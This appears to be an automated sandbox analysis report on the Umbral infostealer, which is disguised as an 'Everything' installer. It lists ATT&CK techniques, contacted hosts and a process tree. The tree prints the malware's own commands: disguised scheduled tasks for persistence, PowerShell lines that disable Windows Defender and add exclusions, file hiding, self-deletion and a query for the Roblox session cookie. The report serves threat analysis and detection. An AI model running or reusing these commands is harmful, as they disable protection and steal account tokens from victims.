umbral | c9d2459c5bd3e5044d4d625f92e30bfa475e11fe259fc00c0d4961f5ebe10f3b

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3078542121-369484597-920690335-1000\Control Panel\International\Geo\Nation	Everything-1.4.1.1026.x64-Setup2.exe

Credentials from Password Stores: Windows Credential Manager 1 TTPs
Suspicious access to Credentials History.
credential_access stealer

Windows Credential Manager
T1555.004

Executes dropped EXE 2 IoCs

pid	Process
2904	Client.exe
4092	Umbral.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Legitimate hosting services abused for malware hosting/C2 1 TTPs 4 IoCs

Web Service

T1102

flow	ioc
23	discord.com
24	discord.com
29	pastebin.com
30	pastebin.com

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
9	ip-api.com
38	icanhazip.com

Drops file in Program Files directory 3 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Microsoft Office\Root\Office16\Normal.dotm	WINWORD.EXE
File created	C:\Program Files\Microsoft Office\Root\Office16\~$Normal.dotm	WINWORD.EXE
File created	C:\Program Files\Microsoft Office\Root\Office16\~WRD0000.tmp	WINWORD.EXE

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Everything-1.4.1.1026.x64-Setup2.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
6104	cmd.exe
3088	PING.EXE

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

pid	Process
1548	wmic.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3078542121-369484597-920690335-1000_Classes\Local Settings	OpenWith.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
3088	PING.EXE

Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
3424	schtasks.exe
4636	schtasks.exe

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
4716	WINWORD.EXE
4716	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 38 IoCs

pid	Process
4092	Umbral.exe
4760	powershell.exe
4760	powershell.exe
4916	powershell.exe
4916	powershell.exe
5952	powershell.exe
5952	powershell.exe
208	powershell.exe
208	powershell.exe
2696	powershell.exe
2696	powershell.exe
2904	Client.exe
2904	Client.exe
2904	Client.exe
2904	Client.exe
2904	Client.exe
2904	Client.exe
2904	Client.exe
2904	Client.exe
2904	Client.exe
2904	Client.exe
2904	Client.exe
2904	Client.exe
2904	Client.exe
2904	Client.exe
2904	Client.exe
2904	Client.exe
2904	Client.exe
2904	Client.exe
2904	Client.exe
2904	Client.exe
2904	Client.exe
2904	Client.exe
2904	Client.exe
2904	Client.exe
2904	Client.exe
2904	Client.exe
2904	Client.exe

Suspicious behavior: LoadsDriver 6 IoCs

pid	Process
4	Process not Found
4	Process not Found
4	Process not Found
4	Process not Found
4	Process not Found
656	Process not Found

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2904	Client.exe
Token: SeDebugPrivilege	4092	Umbral.exe
Token: SeIncreaseQuotaPrivilege	4608	wmic.exe
Token: SeSecurityPrivilege	4608	wmic.exe
Token: SeTakeOwnershipPrivilege	4608	wmic.exe
Token: SeLoadDriverPrivilege	4608	wmic.exe
Token: SeSystemProfilePrivilege	4608	wmic.exe
Token: SeSystemtimePrivilege	4608	wmic.exe
Token: SeProfSingleProcessPrivilege	4608	wmic.exe
Token: SeIncBasePriorityPrivilege	4608	wmic.exe
Token: SeCreatePagefilePrivilege	4608	wmic.exe
Token: SeBackupPrivilege	4608	wmic.exe
Token: SeRestorePrivilege	4608	wmic.exe
Token: SeShutdownPrivilege	4608	wmic.exe
Token: SeDebugPrivilege	4608	wmic.exe
Token: SeSystemEnvironmentPrivilege	4608	wmic.exe
Token: SeRemoteShutdownPrivilege	4608	wmic.exe
Token: SeUndockPrivilege	4608	wmic.exe
Token: SeManageVolumePrivilege	4608	wmic.exe
Token: 33	4608	wmic.exe
Token: 34	4608	wmic.exe
Token: 35	4608	wmic.exe
Token: 36	4608	wmic.exe
Token: SeIncreaseQuotaPrivilege	4608	wmic.exe
Token: SeSecurityPrivilege	4608	wmic.exe
Token: SeTakeOwnershipPrivilege	4608	wmic.exe
Token: SeLoadDriverPrivilege	4608	wmic.exe
Token: SeSystemProfilePrivilege	4608	wmic.exe
Token: SeSystemtimePrivilege	4608	wmic.exe
Token: SeProfSingleProcessPrivilege	4608	wmic.exe
Token: SeIncBasePriorityPrivilege	4608	wmic.exe
Token: SeCreatePagefilePrivilege	4608	wmic.exe
Token: SeBackupPrivilege	4608	wmic.exe
Token: SeRestorePrivilege	4608	wmic.exe
Token: SeShutdownPrivilege	4608	wmic.exe
Token: SeDebugPrivilege	4608	wmic.exe
Token: SeSystemEnvironmentPrivilege	4608	wmic.exe
Token: SeRemoteShutdownPrivilege	4608	wmic.exe
Token: SeUndockPrivilege	4608	wmic.exe
Token: SeManageVolumePrivilege	4608	wmic.exe
Token: 33	4608	wmic.exe
Token: 34	4608	wmic.exe
Token: 35	4608	wmic.exe
Token: 36	4608	wmic.exe
Token: SeDebugPrivilege	4760	powershell.exe
Token: SeDebugPrivilege	4916	powershell.exe
Token: SeDebugPrivilege	5952	powershell.exe
Token: SeDebugPrivilege	208	powershell.exe
Token: SeIncreaseQuotaPrivilege	5224	wmic.exe
Token: SeSecurityPrivilege	5224	wmic.exe
Token: SeTakeOwnershipPrivilege	5224	wmic.exe
Token: SeLoadDriverPrivilege	5224	wmic.exe
Token: SeSystemProfilePrivilege	5224	wmic.exe
Token: SeSystemtimePrivilege	5224	wmic.exe
Token: SeProfSingleProcessPrivilege	5224	wmic.exe
Token: SeIncBasePriorityPrivilege	5224	wmic.exe
Token: SeCreatePagefilePrivilege	5224	wmic.exe
Token: SeBackupPrivilege	5224	wmic.exe
Token: SeRestorePrivilege	5224	wmic.exe
Token: SeShutdownPrivilege	5224	wmic.exe
Token: SeDebugPrivilege	5224	wmic.exe
Token: SeSystemEnvironmentPrivilege	5224	wmic.exe
Token: SeRemoteShutdownPrivilege	5224	wmic.exe
Token: SeUndockPrivilege	5224	wmic.exe

Suspicious use of SetWindowsHookEx 27 IoCs

pid	Process
4716	WINWORD.EXE
4716	WINWORD.EXE
4716	WINWORD.EXE
4716	WINWORD.EXE
4716	WINWORD.EXE
4716	WINWORD.EXE
4716	WINWORD.EXE
4716	WINWORD.EXE
4716	WINWORD.EXE
4716	WINWORD.EXE
4716	WINWORD.EXE
4716	WINWORD.EXE
4716	WINWORD.EXE
4716	WINWORD.EXE
5040	OpenWith.exe
5040	OpenWith.exe
5040	OpenWith.exe
5040	OpenWith.exe
5040	OpenWith.exe
5040	OpenWith.exe
5040	OpenWith.exe
5040	OpenWith.exe
5040	OpenWith.exe
5040	OpenWith.exe
5040	OpenWith.exe
5040	OpenWith.exe
5040	OpenWith.exe

Suspicious use of WriteProcessMemory 40 IoCs

description	pid	Process	procid_target
PID 232 wrote to memory of 2904	232	Everything-1.4.1.1026.x64-Setup2.exe	85
PID 232 wrote to memory of 2904	232	Everything-1.4.1.1026.x64-Setup2.exe	85
PID 232 wrote to memory of 4092	232	Everything-1.4.1.1026.x64-Setup2.exe	86
PID 232 wrote to memory of 4092	232	Everything-1.4.1.1026.x64-Setup2.exe	86
PID 4092 wrote to memory of 4608	4092	Umbral.exe	91
PID 4092 wrote to memory of 4608	4092	Umbral.exe	91
PID 4092 wrote to memory of 1832	4092	Umbral.exe	94
PID 4092 wrote to memory of 1832	4092	Umbral.exe	94
PID 4092 wrote to memory of 4760	4092	Umbral.exe	96
PID 4092 wrote to memory of 4760	4092	Umbral.exe	96
PID 4092 wrote to memory of 4916	4092	Umbral.exe	98
PID 4092 wrote to memory of 4916	4092	Umbral.exe	98
PID 4092 wrote to memory of 5952	4092	Umbral.exe	100
PID 4092 wrote to memory of 5952	4092	Umbral.exe	100
PID 4092 wrote to memory of 208	4092	Umbral.exe	102
PID 4092 wrote to memory of 208	4092	Umbral.exe	102
PID 4092 wrote to memory of 5224	4092	Umbral.exe	105
PID 4092 wrote to memory of 5224	4092	Umbral.exe	105
PID 4092 wrote to memory of 4944	4092	Umbral.exe	107
PID 4092 wrote to memory of 4944	4092	Umbral.exe	107
PID 4092 wrote to memory of 3740	4092	Umbral.exe	109
PID 4092 wrote to memory of 3740	4092	Umbral.exe	109
PID 4092 wrote to memory of 2696	4092	Umbral.exe	111
PID 4092 wrote to memory of 2696	4092	Umbral.exe	111
PID 4092 wrote to memory of 1548	4092	Umbral.exe	113
PID 4092 wrote to memory of 1548	4092	Umbral.exe	113
PID 4092 wrote to memory of 6104	4092	Umbral.exe	117
PID 4092 wrote to memory of 6104	4092	Umbral.exe	117
PID 6104 wrote to memory of 3088	6104	cmd.exe	119
PID 6104 wrote to memory of 3088	6104	cmd.exe	119
PID 2904 wrote to memory of 4288	2904	Client.exe	124
PID 2904 wrote to memory of 4288	2904	Client.exe	124
PID 4288 wrote to memory of 3424	4288	CMD.exe	126
PID 4288 wrote to memory of 3424	4288	CMD.exe	126
PID 2904 wrote to memory of 2632	2904	Client.exe	127
PID 2904 wrote to memory of 2632	2904	Client.exe	127
PID 2632 wrote to memory of 4636	2632	CMD.exe	129
PID 2632 wrote to memory of 4636	2632	CMD.exe	129
PID 5040 wrote to memory of 5256	5040	OpenWith.exe	156
PID 5040 wrote to memory of 5256	5040	OpenWith.exe	156

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

Views/modifies file attributes 1 TTPs 1 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
1832	attrib.exe

C:\Users\Admin\AppData\Local\Temp\Everything-1.4.1.1026.x64-Setup2.exe
"C:\Users\Admin\AppData\Local\Temp\Everything-1.4.1.1026.x64-Setup2.exe"
1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:232
- C:\Users\Admin\AppData\Local\Temp\Client.exe
  "C:\Users\Admin\AppData\Local\Temp\Client.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2904
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /C SchTaSKs /CrEAte /F /sc OnLoGoN /rl HighEst /tn "Microsoft Security Essentials" /tr "C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCookies\xdwdAudacity.exe" & exit
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4288
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /CrEAte /F /sc OnLoGoN /rl HighEst /tn "Microsoft Security Essentials" /tr "C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCookies\xdwdAudacity.exe"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:3424
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Adobe Photoshop Upgrade" /tr "C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCookies\xdwdAudacity.exe" /RL HIGHEST & exit
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2632
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "Adobe Photoshop Upgrade" /tr "C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCookies\xdwdAudacity.exe" /RL HIGHEST
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:4636
- C:\Users\Admin\AppData\Local\Temp\Umbral.exe
  "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
  2⤵
  - Drops file in Drivers directory
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4092
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic.exe" csproduct get uuid
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:4608
- - C:\Windows\SYSTEM32\attrib.exe
    "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
    3⤵
    - Views/modifies file attributes
    PID:1832
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Umbral.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4760
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4916
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5952
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:208
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic.exe" os get Caption
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:5224
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic.exe" computersystem get totalphysicalmemory
    3⤵
    PID:4944
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic.exe" csproduct get uuid
    3⤵
    PID:3740
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:2696
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic" path win32_VideoController get name
    3⤵
    - Detects videocard installed
    PID:1548
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\Umbral.exe" && pause
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Suspicious use of WriteProcessMemory
    PID:6104
  - - C:\Windows\system32\PING.EXE
      ping localhost
      4⤵
      System Network Configuration Discovery: Internet Connection Discovery
      Runs ping.exe
      PID:3088

C:\Windows\system32\wbem\WmiApSrv.exe
C:\Windows\system32\wbem\WmiApSrv.exe
1⤵
PID:2516

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\Desktop\DenyTest.docx" /o ""
1⤵
- Drops file in Program Files directory
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:4716

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:3624

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:5040
- C:\Windows\system32\NOTEPAD.EXE
  "C:\Windows\system32\NOTEPAD.EXE" C:\Program Files (x86)\Microsoft.NET\Primary Interop Assemblies\Microsoft.mshtml.dll
  2⤵
  PID:5256

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

Persistence

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Windows Credential Manager

T1555.004

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Query Registry

Remote System Discovery

T1018

System Information Discovery